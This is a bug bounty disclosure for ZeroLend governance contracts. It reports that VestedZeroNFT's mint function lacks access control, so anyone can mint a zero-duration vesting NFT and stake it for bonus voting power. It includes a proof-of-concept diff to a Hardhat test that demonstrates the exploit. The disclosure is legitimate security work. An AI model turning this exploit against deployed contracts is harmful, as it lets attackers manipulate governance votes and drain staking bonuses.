28987 - [SC - Medium] Manipulation of governance is possible by minti...
Submitted on Mar 4th 2024 at 04:01:59 UTC by @dontonka for Boost | ZeroLend
Report ID: #28987
Report type: Smart Contract
Report severity: Medium
Target: https://github.com/zerolend/governance
Impacts:
Manipulation of governance voting result deviating from voted outcome and resulting in a direct change from intended effect of original results
Description
Brief/Intro
VestedZeroNFT::mint is accessible to anyone, so anyone can mint a VestedNFT in the moment. This seems to be against the expected behavior as noted as follow by the IVestedZeroNFT interface and seems to warrant Critical vulnerability for the vote manipulation exploit this could allow.
Mints a vesting nft for a user. This is a privileged function meant to only be called by a contract or a deployer
Vulnerability Details
As indicated, it's possible to mint to self and with no duration (linearDuration = 0 and cliffDuration = 0), which mean already all claimable, and then the attacker can transfer the NFT to the StakingBonus contract in order to boost his voting power right away.
Impact Details
Manipulation of governance is possible by minting to self a VestedNFT with no duration.
Add the following changes in StakingBonus.test.ts and run npm test command. The test proove the following:
Can mint to self with no duration
Boost in voting power confirmed
beforeEach(async () => { expect(await vest.lastTokenId()).to.equal(0);- // deployer should be able to mint a nft for another user- await vest.mint(+ // fund the ant account. This could be earned from a normal vesting NFT or bought on the secondary market, just transfering from deployer here to make this simpler
+ await zero.transfer(ant.address, e18 * 20n);+ await zero.connect(ant).approve(vest.target, e18 * 20n);++ // Mint from ant account to himself+ await vest.connect(ant).mint( ant.address, e18 * 20n, // 20 ZERO linear vesting 0, // 0 ZERO upfront- 1000, // linear duration - 1000 seconds+ 0, // linear duration - 0 seconds 0, // cliff duration - 0 seconds- now + 1000, // unlock date- true, // penalty -> false+ 0, // unlock date+ false, // penalty -> false 0 ); expect(await vest.lastTokenId()).to.equal(1); });
- it("should give a user a bonus if the bonus contract is well funded", async function () {
+ it.only("Any user can mint Vested NFT as long as they own enough $ZERO and boost their voting power.", async function () {
// fund some bonus tokens into the staking bonus contract
await zero.transfer(stakingBonus.target, e18 * 100n);
// give a 50% bonus
await stakingBonus.setBonusBps(50);
// stake nft on behalf of the ant
expect(
await vest
.connect(ant)
["safeTransferFrom(address,address,uint256)"](
ant.address,
stakingBonus.target,
1
)
);
// the staking contract should've awarded more zero for staking unvested tokens
// 20 zero + 50% bonus = 30 zero... ->> which means about 29.999 voting power
expect(await locker.balanceOfNFT(1)).greaterThan(e18 * 29n);
});